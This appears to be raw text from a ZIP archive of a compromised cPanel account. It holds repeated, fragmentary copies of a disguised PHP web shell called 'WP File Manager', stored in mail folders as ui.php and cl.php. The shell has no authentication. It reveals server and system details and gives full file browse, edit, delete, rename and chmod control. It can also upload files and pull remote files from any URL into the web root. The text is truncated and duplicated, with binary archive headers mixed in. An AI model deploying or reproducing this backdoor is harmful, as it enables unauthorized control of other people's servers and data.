chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]CO¹ò®Ë®Ë"finance@dunyagozbalkans.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]I©ڂBB hr@dunyagozbalkans.com/.metadatanu„[µü¤[calendar] type VCALENDAR protected 1 description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c [addressbook] type VADDRESSBOOK displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 PK‘&{]„N9³§Ë§Ëhr@dunyagozbalkans.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
